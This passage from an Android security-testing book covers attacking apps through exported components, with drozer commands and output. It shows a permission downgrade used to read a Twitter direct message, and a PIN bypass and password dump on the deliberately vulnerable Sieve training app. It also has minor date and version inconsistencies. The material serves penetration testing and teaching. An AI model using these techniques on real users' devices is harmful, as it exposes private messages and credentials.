With everything you now know about Android applications and the environment under which they operate, you would be correct in assuming that every developer cannot get everything right. Without a deep technical understanding of every security mechanism at play, creating an application that has no vulnerabilities is tough for a developer.
An attacker who is seeking to find vulnerabilities in an application should consider multiple approaches and testing perspectives. The three high-level components to consider for each application are shown in Figure 7.1 and discussed in the list that follows.
This chapter focuses heavily on attacking applications on a device and their communication channels with Internet servers. This chapter does not cover vulnerabilities found in Internet servers. Dozens of publications have discussed this vast topic in the past, and it will continue to change. Web service vulnerabilities or other APIs that an application may communicate with are also not covered.
Before delving into attacking applications, we need to explore some application security model quirks that will be used as the basis for attack later in the chapter.
The Android security model is full of little quirks that are beneficial to know about when attempting to find vulnerabilities in applications. This section covers the especially important quirks for application testers to consider.
Applications on a device can interact with components that are exported. However, defining the conditions that make a component “exported” is not simple and can differ depending on the version of Android in use. Components can end up becoming exported to other applications running on the same device in three ways: by the default export behavior, by being explicitly exported, and by being implicitly exported, as discussed next.
Table 7.1 shows the default export behavior of each application component on different Android API versions.
Table 7.1 The Default Export Behavior of Each Application Component Across API Versions
APPLICATION COMPONENT | EXPORTED (API < 17) | EXPORTED (API >= 17) |
Activity | False | False |
Broadcast receiver | False | False |
Service | False | False |
Content provider | True | False |
In API version 17, which equates to Android 4.2 Jelly Bean, content providers are no longer exported by default. However, if the targetSdkVersion
of an application is set to 16 or lower, the content provider will still be exported by default. You can read more about this security enhancement at http://android-developers.blogspot.com/2013/02/security-enhancements-in-jelly-bean.html
. This means that if the declaration of a content provider does not specify an android:exported
attribute, its exposure depends on what version of Android the device is running. If it is running on Android 4.2 or above then it will depend on the targetSdkVersion
set in the <uses-sdk>
element of the manifest. If it is running on a device that is running a version of Android before 4.2, the content provider is exposed. Here is an example of a content provider manifest declaration lacking this explicit attribute:
<provider android:name="com.mahh.app"
android:authorities="com.mahh.content" />
Application components can be explicitly marked as exported in the application manifest. This is the most obvious way to know that a component is exported. The following is an example of an exported broadcast receiver manifest declaration:
<receiver
android:name="com.mahh.receiver"
android:exported="true" >
</receiver>
Any component that makes use of an <intent-filter>
is exported by default. This means that even intents that aren’t explicitly targeting an application component’s intent filter can still be sent to the component. Here is an example of an activity with an intent filter specified:
<activity android:name="ImageActivity">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="image/*"/>
</intent-filter>
</activity>
No android:exported
attribute is specified and by default activities are not exported. However, because of the intent filter present, this activity is still exported.
You can find exported components of an application by inspecting the application’s manifest for the three techniques mentioned. You can also use drozer from multiple viewpoints. The app.package.attacksurface
module is perfect for getting a high-level view of the exported components of an application. You run this module against the Android browser as follows:
dz> run app.package.attacksurface com.android.browser
Attack Surface:
6 activities exported
4 broadcast receivers exported
1 content providers exported
0 services exported
For a more detailed view of the specific components exported, use the app.<component>.info
modules. For example, you can view the broadcast receivers exposed by the Android browser:
dz> run app.broadcast.info -a com.android.browser
Package: com.android.browser
com.android.browser.widget.BookmarkThumbnailWidgetProvider
Permission: null
com.android.browser.OpenDownloadReceiver
Permission: null
com.android.browser.AccountsChangedReceiver
Permission: null
com.android.browser.PreloadRequestReceiver
Permission: com.android.browser.permission.PRELOAD
For a more verbose view of any intent filters set on these components that may have caused the component to become exported, use the -i
flag on these modules.
In Chapter 6, you saw that the Android security model consists of a blend of a traditional UNIX file permission enforcement model and custom kernel elements that control the access to assets using permissions. The two most important user contexts that control these security functions are the root and system users.
With these user contexts having such powerful privileges on the OS, it is natural to expect that they can exert control over installed applications as well. Let us shed some light on one particular fact: The root and system users can interact with application components even when they are not exported. Whether an application exports a component in its manifest or not is relevant only when the calling application is another non-system application. Code running as root or system can interact with any component and send intents to them even when they are not exported in their manifest. This means that an attacker who has gained this level of access to a device can use it to send intents to components that were never intended to be accessible. Examples of interacting with each application component in this way are explained in the relevant sections under the “Attacking Application Components” portion of this chapter.
Application developers generally consider components that are not exported in their manifest to be private and limited to internal use by the application. However, the issues that can be uncovered by abusing this level of access is relatively low-risk because an attacker who has gained this level of access is able to do many worse things on the compromised device. Chapter 8 explores these attacks in more depth. To find components that are not exported by an application, you can examine the manifest or use the -u
flag on any of the drozer app.<component> .info
modules.
The best available protection against an unauthorized application being able to interact with an application component is making use of a custom permission with protection level signature
. This ensures that only another application that was signed by the same certificate can be granted this permission.
However, on February 12, 2012, Mark Murphy described a scenario where the signature
protection level could be bypassed, and documented it at http://commonsware.com/blog/2014/02/12/vulnerabilities-custom-permissions.html
. He found that Android uses a “first one in wins” mentality in regard to protection levels on permissions. This means that the first application to define a permission also sets the permission’s attributes regardless of applications that may define the same permission after that. This will be referred to from this point onward as a Protection Level Downgrade Attack. The following is the attack scenario:
normal
.normal
instead of another more secure value like signature
. Even though the permission was defined with a signature
protection level, which was defined by the legitimate application, Android does not know any different.As a proof of concept, we perform a practical example of this attack on the Twitter application here. The Twitter application defines a number of permissions, which are bolded:
dz> run app.package.info -a com.twitter.android
Package: com.twitter.android
Application Label: Twitter
Process Name: com.twitter.android
Version: 5.31.0
Data Directory: /data/data/com.twitter.android
APK Path: /data/app/com.twitter.android-1.apk
UID: 10236
GID: [3003, 1028, 1015]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- com.twitter.android.permission.C2D_MESSAGE
- com.twitter.android.permission.RESTRICTED
- com.twitter.android.permission.AUTH_APP
- android.permission.INTERNET
- android.permission.ACCESS_NETWORK_STATE
- android.permission.VIBRATE
- android.permission.READ_PROFILE
- android.permission.READ_CONTACTS
- android.permission.RECEIVE_SMS
- android.permission.GET_ACCOUNTS
- android.permission.MANAGE_ACCOUNTS
- android.permission.AUTHENTICATE_ACCOUNTS
- android.permission.READ_SYNC_SETTINGS
- android.permission.WRITE_SYNC_SETTINGS
- android.permission.ACCESS_FINE_LOCATION
- android.permission.USE_CREDENTIALS
- android.permission.SYSTEM_ALERT_WINDOW
- android.permission.WAKE_LOCK
- android.permission.WRITE_EXTERNAL_STORAGE
- com.twitter.android.permission.READ_DATA
- com.google.android.c2dm.permission.RECEIVE
- com.google.android.providers.gsf.permission.READ_GSERVICES
- com.twitter.android.permission.MAPS_RECEIVE
- com.android.launcher.permission.INSTALL_SHORTCUT
- android.permission.READ_PHONE_STATE
- com.sonyericsson.home.permission.BROADCAST_BADGE
- com.sec.android.provider.badge.permission.READ
- com.sec.android.provider.badge.permission.WRITE
- android.permission.CAMERA
- android.permission.ACCESS_WIFI_STATE
- android.permission.READ_EXTERNAL_STORAGE
Defines Permissions:
- com.twitter.android.permission.READ_DATA
- com.twitter.android.permission.MAPS_RECEIVE
- com.twitter.android.permission.C2D_MESSAGE
- com.twitter.android.permission.RESTRICTED
- com.twitter.android.permission.AUTH_APP
To build a drozer agent that requests the defined permissions use the following command:
$ drozer agent build --permission com.twitter.android.permission
.READ_DATA
com.twitter.android.permission.MAPS_RECEIVE
com.twitter.android.permission.C2D_MESSAGE
com.twitter.android.permission.RESTRICTED
com.twitter.android.permission.AUTH_APP
Done: /tmp/tmpNIBfbw/agent.apk
Installing the newly generated agent and checking logcat
reveals that only a single permission was granted: the com.twitter.android.permission.AUTH_APP
permission. At this point, interacting with any protected application components on the Twitter application correctly results in a permission denial. You can test this on any permission-protected application component, but here is a look at the content providers exposed by Twitter:
dz> run app.provider.info -a com.twitter.android
Package: com.twitter.android
Authority: com.twitter.android.provider.TwitterProvider
Read Permission: com.twitter.android.permission.RESTRICTED
Write Permission: com.twitter.android.permission.RESTRICTED
Content Provider: com.twitter.library.provider.TwitterProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Path Permissions:
Path: /status_groups_view
Type: PATTERN_PREFIX
Read Permission: com.twitter.android.permission.READ_DATA
Write Permission: null
Authority: com.twitter.android.provider.SuggestionsProvider
Read Permission: com.twitter.android.permission.RESTRICTED
Write Permission: com.twitter.android.permission.RESTRICTED
Content Provider: com.twitter.android.provider.SuggestionsProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Path Permissions:
Path: /search_suggest_query
Type: PATTERN_PREFIX
Read Permission: android.permission.GLOBAL_SEARCH
Write Permission: null
The com.twitter.android.permission.RESTRICTED
permission that protects one of the content providers has the protectionLevel
of signature
, which is the most stringent that Android has to offer. This means that an application that requests this permission will not have it granted unless the signing certificate matches that of the Twitter application. To see this protection level, use drozer as shown here:
dz> run information.permissions --permission
com.twitter.android.permission.RESTRICTED
No description
2 - signature
Next, uninstall the Twitter application and compile and install a version of drozer that defines all the permissions of the Twitter application with a protection level of normal
instead and then also uses these permissions:
$ drozer agent build --define-permission
com.twitter.android.permission.READ_DATA normal
com.twitter.android.permission.MAPS_RECEIVE normal
com.twitter.android.permission.C2D_MESSAGE normal
com.twitter.android.permission.RESTRICTED normal --permission
com.twitter.android.permission.READ_DATA
com.twitter.android.permission.MAPS_RECEIVE
com.twitter.android.permission.C2D_MESSAGE
com.twitter.android.permission.RESTRICTED
com.twitter.android.permission.AUTH_APP
Done: /tmp/tmpZQugD_/agent.apk
$ adb install /tmp/tmpZQugD_/agent.apk
2528 KB/s (653400 bytes in 0.252s)
pkg: /data/local/tmp/agent.apk
Success
Now, when a user installs Twitter the defined permissions retain their protection level of normal
, which allows the exposure of all the components being protected by these permissions. The example queries a Twitter content provider for the most recent Direct Message (DM) sent to the user:
dz> run app.provider.query content://com.twitter.android.provider
.TwitterProvider/messages?limit=1&ownerId=536649879 --projection content
| content |
| This should be private right? |
It is important to note that this is not a vulnerability in the Twitter application but rather shows a broader platform security quirk. More detail on querying content providers is provided later in this chapter. The important point to take away from this example: Installing a malicious application that defines particular permissions prior to a legitimate application being installed that defines the same permissions is one way to defeat the entire permission security model.
Attacking another application over the Android IPC system involves finding all the exported components of the application and attempting to use them in a way that was not intended. For activities, broadcast receivers, and services this means you must examine all the code that handles intents from other applications. Before examining this code in search of vulnerabilities, you must fully understand intents themselves.
An intent is a data object that loosely defines a task to be performed. It can contain data and all relevant information about the action to be performed on the data or only have a single field of information in it. An intent can be sent to different exported components to start or interact with them. To start an activity, an intent can be sent with the startActivity(Intent)
method from the Context
class. In a similar way, sendBroadcast(Intent)
and startService(Intent)
can be used to interact with broadcast receivers and services. An intent object is generic and not specific to the type of component receiving it.
Android offers two fundamentally different types of intents: explicit and implicit intents. Explicit intents directly state the component that must receive the intent. You do this using the setComponent()
or setClass()
methods on an intent object. Stating the component that must receive the intent bypasses the intent resolution process the OS can undertake and directly delivers the intent to the specified component.
On the other hand, an implicit intent does not state the component to which it must be delivered. Rather, it relies on the OS to determine the possible candidate(s) where the intent can be delivered. For instance, multiple applications on a device may be capable of handling MP3 music files and if more than one choice exists, then an application chooser activity may be displayed to the user to ask which application to deliver the intent to. This intent resolution process relies on the matching of the presented intent against all the relevant intent filters defined by installed applications. Intents can be matched against intent filters using three types of information:
When defining an intent filter, specifying an action element is compulsory. Intent filters can catch relevant data in many different ways, for instance:
https://www.google.com
, the scheme is https.https://www.google.com
, the host is www.google.com.A component to which you, as an attacker, have sent an intent may be looking for any one of the preceding requirements. This is why when you examine an exported component, reviewing the code that handles incoming intents is important. As food for thought, what if a malicious application had to define an intent filter for a particular intent that is known to contain sensitive information in it? Maybe this malicious application would be able to receive it. We explore this in greater detail later in this chapter under “Intent Sniffing”. The sending of crafted intents for each component is also explored in their relevant sections. A utility named am
is present on each Android device that allows the crafting and sending of intents to defined application components. A shortened version of the usage of am
is shown here:
shell@android:/ $ am
usage: am [subcommand] [options]
usage: am start [-D] [-W] [-P <FILE>] [--start-profiler <FILE>]
[--R COUNT] [-S] [--opengl-trace]
[--user <USER_ID> | current] <INTENT>
am startservice [--user <USER_ID> | current] <INTENT>
am stopservice [--user <USER_ID> | current] <INTENT>
...
am broadcast [--user <USER_ID> | all | current] <INTENT>
...
am start: start an Activity. Options are:
-D: enable debugging
-W: wait for launch to complete
--start-profiler <FILE>: start profiler and send results to <FILE>
-P <FILE>: like above, but profiling stops when app goes idle
-R: repeat the activity launch <COUNT> times. Prior to each repeat,
the top activity will be finished.
-S: force stop the target app before starting the activity
--opengl-trace: enable tracing of OpenGL functions
--user <USER_ID> | current: Specify which user to run as; if not
specified then run as the current user.
am startservice: start a Service. Options are:
--user <USER_ID> | current: Specify which user to run as; if not
specified then run as the current user.
am stopservice: stop a Service. Options are:
--user <USER_ID> | current: Specify which user to run as; if not
specified then run as the current user.
...
am broadcast: send a broadcast Intent. Options are:
--user <USER_ID> | all | current: Specify which user to send to; if not
specified then send to all users.
--receiver-permission <PERMISSION>: Require receiver to hold
permission.
...
<INTENT> specifications include these flags and arguments:
[-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] ...]
[-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
[--esn <EXTRA_KEY> ...]
[--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
[--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
[--el <EXTRA_KEY> <EXTRA_LONG_VALUE> ...]
[--ef <EXTRA_KEY> <EXTRA_FLOAT_VALUE> ...]
[--eu <EXTRA_KEY> <EXTRA_URI_VALUE> ...]
[--ecn <EXTRA_KEY> <EXTRA_COMPONENT_NAME_VALUE>]
[--eia <EXTRA_KEY> <EXTRA_INT_VALUE>[,<EXTRA_INT_VALUE...]]
[--ela <EXTRA_KEY> <EXTRA_LONG_VALUE>[,<EXTRA_LONG_VALUE...]]
[--efa <EXTRA_KEY> <EXTRA_FLOAT_VALUE>[,<EXTRA_FLOAT_VALUE...]]
[-n <COMPONENT>] [-f <FLAGS>]
[--grant-read-uri-permission] [--grant-write-uri-permission]
[--debug-log-resolution] [--exclude-stopped-packages]
[--include-stopped-packages]
[--activity-brought-to-front] [--activity-clear-top]
[--activity-clear-when-task-reset] [--activity-exclude-from-recents]
[--activity-launched-from-history] [--activity-multiple-task]
[--activity-no-animation] [--activity-no-history]
[--activity-no-user-action] [--activity-previous-is-top]
[--activity-reorder-to-front] [--activity-reset-task-if-needed]
[--activity-single-top] [--activity-clear-task]
[--activity-task-on-home]
[--receiver-registered-only] [--receiver-replace-pending]
[--selector]
[<URI> | <PACKAGE> | <COMPONENT>]
Sending intents using either am
or drozer will be shown in each of the sections. You can find the official Android documentation on intents at the following address: http://developer.android.com/guide/components/intents- filters.html
. Let us get started on attacking application components.
Various Android training applications have been created that contain intentional vulnerabilities. This is to facilitate learning of the types of vulnerabilities that can exist in an application. Many such applications are available with varying degrees of usefulness for a beginner.
Much of this chapter makes use of a vulnerable application created by Matthew Uzzell and Daniel Bradberry from MWR InfoSecurity, named Sieve. You can download it alongside drozer at the following address: https://www.mwrinfosecurity.com/products/drozer/community-edition/
. Sieve is a password manager that allows a user to save usernames and passwords for any online service in a “secure” manner. It makes use of a master password and PIN defined by the user and encrypts password entries in its database. On the surface, it meets all the requirements for being a secure password manager, but after you dig deeper you will see that the security provided is broken in many ways. A user who has configured Sieve is presented with a password prompt when logging in after device power up and then a PIN prompt thereafter. Figure 7.2 shows screenshots of Sieve.
After you install it, you can find the package name of Sieve by using the app .package.info
module with a filter for the word Sieve, which is the application label associated with its launcher icon.
dz> run app.package.list -f Sieve
com.mwr.example.sieve (Sieve)
You can examine exported application components of Sieve in its manifest using one of several tools shown in Chapter 6. Inside drozer, you can use the following method:
dz> run app.package.manifest com.mwr.example.sieve
<manifest versionCode="1"
versionName="1.0"
package="com.mwr.example.sieve">
<uses-permission name="android.permission.READ_EXTERNAL_STORAGE">
</uses-permission>
<uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE">
</uses-permission>
<uses-permission name="android.permission.INTERNET">
</uses-permission>
<permission label="Allows reading of the Key in Sieve"
name="com.mwr.example.sieve.READ_KEYS"
protectionLevel="0x1">
</permission>
<permission label="Allows editing of the Key in Sieve"
name="com.mwr.example.sieve.WRITE_KEYS"
protectionLevel="0x1">
</permission>
<uses-sdk minSdkVersion="8"
targetSdkVersion="17">
</uses-sdk>
<application theme="@2131099649"
label="@2131034112"
icon="@2130837504"
debuggable="true"
allowBackup="true">
<activity label="@2131034127"
name=".FileSelectActivity"
exported="true"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<activity label="@2131034112"
name=".MainLoginActivity"
excludeFromRecents="true"
launchMode="2"
windowSoftInputMode="0x14">
<intent-filter>
<action name="android.intent.action.MAIN">
</action>
<category name="android.intent.category.LAUNCHER">
</category>
</intent-filter>
</activity>
<activity label="@2131034121"
name=".PWList"
exported="true"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<activity label="@2131034122"
name=".SettingsActivity"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<activity label="@2131034123"
name=".AddEntryActivity"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<activity label="@2131034124"
name=".ShortLoginActivity"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<activity label="@2131034125"
name=".WelcomeActivity"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<activity label="@2131034126"
name=".PINActivity"
finishOnTaskLaunch="true"
clearTaskOnLaunch="true"
excludeFromRecents="true">
</activity>
<service name=".AuthService"
exported="true"
process=":remote">
</service>
<service name=".CryptoService"
exported="true"
process=":remote">
</service>
<provider name=".DBContentProvider"
exported="true"
multiprocess="true"
authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission readPermission="com.mwr.example.sieve.READ_KEYS"
writePermission="com.mwr.example.sieve.WRITE_KEYS"
path="/Keys">
</path-permission>
</provider>
<provider name=".FileBackupProvider"
exported="true"
multiprocess="true"
authorities="com.mwr.example.sieve.FileBackupProvider">
</provider>
</application>
</manifest>
To see a shortened summary of the exported components, use the app.package .attacksurface
module, shown here:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
The rest of this chapter explores each of these application components (in addition to many other aspects of the application’s security).
Activities are the graphical user interface of an application for the user. As such, they control the user input into functionality and have a direct impact on the security of an application. An application typically contains many different activities. Some may be exported and others may only be intended to be started by other code inside the same application and not directly exported.
Consider an application that has a login activity. This activity and its underlying code are responsible for checking whether the correct password is entered. According to this check, the code may launch another activity with authenticated content and functionality.
What if the developer exported all the activities, including the ones that provide authenticated functionality? This means that another application on the device, or a user interacting with the device, will be able to launch the authenticated activity directly.
Examining all the activities exported by the Sieve application reveals the following:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
This shows three exported activities that do not require any permissions from the caller to be interacted with. The main activity of an application has to be exported so that it can be started when the launcher icon is clicked. It always has an intent filter that looks as follows:
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
You can find this activity by examining the manifest of the application or using the app.package.launchintent
module. Here is the latter method:
dz> run app.package.launchintent com.mwr.example.sieve
Launch Intent:
Action: android.intent.action.MAIN
Component:
{com.mwr.example.sieve/com.mwr.example.sieve.MainLoginActivity}
Data: null
Categories:
- android.intent.category.LAUNCHER
Flags: [ACTIVITY_NEW_TASK]
Mime Type: null
Extras: null
When a user has opened Sieve previously, launching the application shows an activity requesting the user’s PIN. This leaves you with two other exported activities that can be started. Systematically invoke each exported activity using drozer and the app.activity.start
module as follows:
dz> run app.activity.start --component <package_name> <full_activity_name>
In the case of the PWList
activity in the Sieve application, the following command opens the exported activity:
dz> run app.activity.start --component com.mwr.example.sieve
com.mwr.example.sieve.PWList
This reveals all the accounts held by the password manager without having to enter the PIN. Figure 7.3 shows the launched activity.
This direct authentication bypass of this application occurs by invoking one command. In addition to simply starting each exposed activity, you should review the onCreate()
method of each in search of conditional statements that may lead to other code paths or unexpected behavior. You can never know what kinds of Easter eggs are hiding in this method that could cause the application to perform an action that is completely out of character, like taking one of the parameters from the intents and using it as part of an operating system command that it executes. You may think that this is unlikely and contrived, but through your adventures with reversing and bug hunting on Android you will see stranger things.
Activities are also capable of sending information back to the caller when they finish()
. This can be done by using the setResult()
function, which can contain an intent with any information that the activity wants to send back to the caller. If the calling application started the activity using startActivityForResult()
rather than startActivity()
then the intent received from the started activity can be caught inside the overridden onActivityResult()
callback. Checking whether an activity sends a result back is as simple as checking for the existence of the keyword setResult
in the activity’s code.
Because activities that are not exported can still be started by a privileged user, a user who has privileged access to a device can use this access to perform all kinds of authentication bypass tricks on installed applications. This attack vector may be limited due to this requirement but will be explored anyway. To find the activities that are not exported by an application, you can examine the manifest or use the -u
flag on the app.activity.info
module. For example, on the Sieve application the output is as follows:
dz> run app.activity.info -a com.mwr.example.sieve -u
Package: com.mwr.example.sieve
Exported Activities:
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
Hidden Activities:
com.mwr.example.sieve.SettingsActivity
Permission: null
com.mwr.example.sieve.AddEntryActivity
Permission: null
com.mwr.example.sieve.ShortLoginActivity
Permission: null
com.mwr.example.sieve.WelcomeActivity
Permission: null
com.mwr.example.sieve.PINActivity
Permission: null
After examining the application’s behavior and code further, an interesting activity for an attacker to start would be the SettingsActivity
. This activity allows the attacker to get to the Settings menu and conveniently back up the password database to the SD card. To launch this activity from a root ADB shell, use the following command:
root@generic:/ # am start -n com.mwr.example.sieve/.SettingsActivity
Starting: Intent { cmp=com.mwr.example.sieve/.SettingsActivity }
The fact that an activity is not exported means only that it cannot be interacted with by a non-privileged caller. To protect against this, an additional authentication mechanism could be used on the Sieve application. Chapter 9 covers how additional protections can be put in place.
On December 9, 2010, Lookout discussed an attack vector named tapjacking at https://blog.lookout.com/look-10-007-tapjacking/
. This is essentially the mobile equivalent of the clickjacking web vulnerability (also known as UI redressing). Tapjacking is when a malicious application overlays a fake user interface over another application’s activity to trick users into clicking on something they did not intend to.
This is possible using a UI feature called toasts. Toasts are usually used to display small pieces of information to the user without the ability for the user to interact with it. It is meant to be non-intrusive and transparently overlays any activity that the user has open at that time. However, these toasts can be completely customized and made to fill the entire screen with a design that makes it look like a proper activity. The dangerous part is that if the user attempts to click on something on this new “activity,” their input still gets received by the activity that is beneath the toast. This means that it is possible to trick a user into clicking on part of an activity that is not visible. How effective this attack is depends on the creativity of the attacker.
An overoptimistic example of performing this attack may be for a malicious application to open the Play Store activity and trick the user into installing an application. Remember that any application can start an exported activity and all launcher activities of installed applications are exported due to their intent filters. The attacker’s application may open the Play Store and then immediately initiate a sequence of custom toasts that display a game to the user, or some sequence of screen taps that the user needs to perform in order to exit the “user interface” or “win the game.” All the while, the placement of each item ensures the user’s taps are performing actions on the Play Store in the background. Figure 7.5 illustrates how the placement of fictitious clickable items could be used to install a new application.
Testing for this issue in your application can be done using a proof-of-concept application created by Caitlin Harrison of MWR InfoSecurity. It allows you to configure a customized toast that gets displayed on the screen at a specified position. This code runs in a service in the background and allows you to navigate to your target application and test whether you can still interact with the underlying activities of the application while the toast is being displayed. This application can be downloaded from https://github.com/mwrlabs/tapjacking-poc
.
Searching the application’s Dalvik Executable (classes.dex) and application resources for instances of the word filterTouchesWhenObscured may also indicate that the activities being tested are not vulnerable to this attack. Chapter 9 explores more on securing an activity against this type of attack.
Android stores a list of recently used applications, shown in Figure 7.6, that can be accessed by long-clicking the home button.
The thumbnails associated with each of these entries are a screenshot of the last activity shown before the application was closed. Depending on the application, this could display sensitive information to an attacker who has compromised the device and has privileged access. These thumbnails are not stored on disk like on iOS and can only be retrieved from memory by an attacker with privileged access. You can find the particular class that stores these screenshots in the Android source at https://github.com/android/platform_frameworks_base/blob/master/services/java/com/android/server/am/TaskRecord.java0
, and it extends the class found at https://github.com/gp-b2g/frameworks_base/blob/master/services/java/com/android/server/am/ThumbnailHolder.java
.
Allowing the OS to take application screenshots of activities is somewhat of a low-risk issue but may be important depending on the sensitivity of the information displayed by an application. Chapter 9 provides techniques for stopping activities from displaying sensitive information in these screenshots.
An activity can contain smaller UI elements named fragments. They can be thought of as “sub activities” that can be used to swap out sections of an activity and help facilitate alternate layouts for different screen sizes and form factors that an Android application can run on.
On December 10, 2013, Roee Hay from IBM Security Systems publicized a vulnerability that affected all applications with exported activities that extend the PreferenceActivity
class. In the onCreate()
method of the PreferenceActivity
class, it was discovered to be retrieving an extra named :android:show_fragment
from the user-supplied bundle. This extra can be provided by the application that sent the intent and the name of a fragment within the target application specified to be loaded. This allows the loading of any chosen fragment within the activity, which may have only been used inside non-exported activities under normal use. This may reveal functionality that was not intended by the developer.
All exported activities that extend PreferenceActivity
and are running on Android 4.3 or prior are vulnerable. This attack was mitigated by Android in versions 4.4 onward by providing a new method in the PreferenceActivity
class named isValidFragment()
to allow developers to override it and validate which fragments can be loaded inside the activity. Performing poor validation on the fragment name supplied to this method or simply returning true
in this method without performing any checks would still result in fragment injection attacks being possible. More information on how to implement correct checking is given in Chapter 9.
Android application components are very modular and can be controlled from any part of the application code using intents. This means that no default boundaries exist between any sections of the code. When you consider an application that has a login screen, controlling access to functionality that is only supposed to be accessible to a “logged in” user is completely dependent on how the application was designed. Developers have the freedom to implement authentication mechanisms in any way they want.
Sieve contains an example of a failed trust boundary in the main login activity. A user who has not entered his password yet to log in to the application can still access the settings, as shown in Figure 7.8.
This Settings menu contains features that will allow an attacker to compromise the password database without ever knowing the application’s password. This functionality was clearly only intended to be used once the user was authenticated; however, it was exposed in an untrusted activity. Such flaws can often easily be exposed by invoking activities that are not actually exported by an application. Performing an attack of this nature using an ADB root shell was discussed earlier in this section.
The security of content providers has a notorious past on Android, because they often hold an application’s most sensitive data and many application developers have not properly secured them. These vulnerabilities were partially because of Android’s reverse logic on content providers in regard to how they are exported by default. Content providers were the only application component that was exported by default on Android, but this situation has since been amended in API version 17. Note that the default behavior is still to export a content provider if the android:targetSdkVersion
is set to a value smaller than 17, and so these issues are still prevalent.
A common root cause of content provider problems is the fact that they are not explicitly marked as exported="false"
in their manifest declarations because the assumption is that they follow the same default export behavior as other components. At the time of writing, many applications still target SDK versions lower than API 17 (which equates to Android 4.1). This means that if exported="false"
is not explicitly stated on the content provider declaration in the manifest, it is exported.
Several drozer modules help you gather information about exported content providers and then allow you to interact with them. On the Sieve application, you can retrieve information about the content providers using the following:
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
This reveals that two content providers don’t require any permissions for users who want to read from or write to them. However, the DBContentProvider
requires that users have permissions to read from or write to the /Keys
path.
The output of this module does not give the exact full content URIs that can be queried. However, a good starting point would be to try the root path and defined /Keys
path. For a view of all the available paths, review the implemented query()
method and peripheral source code for the content provider or use the app.provider.finduri
module in drozer. This module is not comprehensive and checks only for strings inside that DEX file that begin with content://
. This check may miss the large majority of available paths and should not be relied upon. Running it against the Sieve package reveals the following content URIs:
dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys
In this case it did a good job of finding available content URI paths; however, you should not get into the habit of relying solely on it. Running this module led to the discovery of a completely new path that you could not have anticipated by observing the initial information on the content provider. The newly discovered path is /Passwords
. This does not have any permissions protecting it, and querying this URI leads to the disclosure of all the accounts stored in this password manager. Here is the command for querying this content URI:
dz> run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service | username | password | email |
| 1 | Gmail | tyrone | zA76WR9mURDNNEw4TUiidVKRuKLEamg5h
84T (Base64-encoded) | tyrone@gmail.com |
| 2 | Internet Banking | tyrone123 |
VJL7zoQdEeyeYQB2/DArlNv3G1m+fpWCEkg3TFUpUUti (Base64-encoded) |
tyrone@gmail.com |
This leaks all the password entries for each of the corresponding services in this content provider. The developer of this application was clever and encrypted or obfuscated the password field. This encryption is implementation-specific and was explicitly added by the developer. Sometimes encryption is not used at all and access to sensitive information is obtained directly.
An interesting idea for an attacker would be to insert new entries or update existing ones in another application’s content provider. This could open new attack avenues depending on what the application database is used for. To insert a new entry into the content provider shown previously, you can use the app .provider.insert
module in drozer. The following code demonstrates how to add a new entry to Sieve’s password database:
dz> run app.provider.insert content://com.mwr.example.sieve
.DBContentProvider/Passwords --integer _id 3
--string service Facebook --string username tyrone
--string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T
--string email tyrone@gmail.com
Done.
The Facebook service is now added using the app.provider.insert
command and was added with the same password as the Gmail service (whatever that may be).
All content providers whether they are exported or not can be queried from a privileged context. To find content providers inside the default Android Clock package that have not been exported, you can use the -u
flag on app.provider .info
:
dz> run app.provider.info -a com.android.deskclock -u
Package: com.android.deskclock
Exported Providers:
Hidden Providers:
Authority: com.android.deskclock
Read Permission: null
Write Permission: null
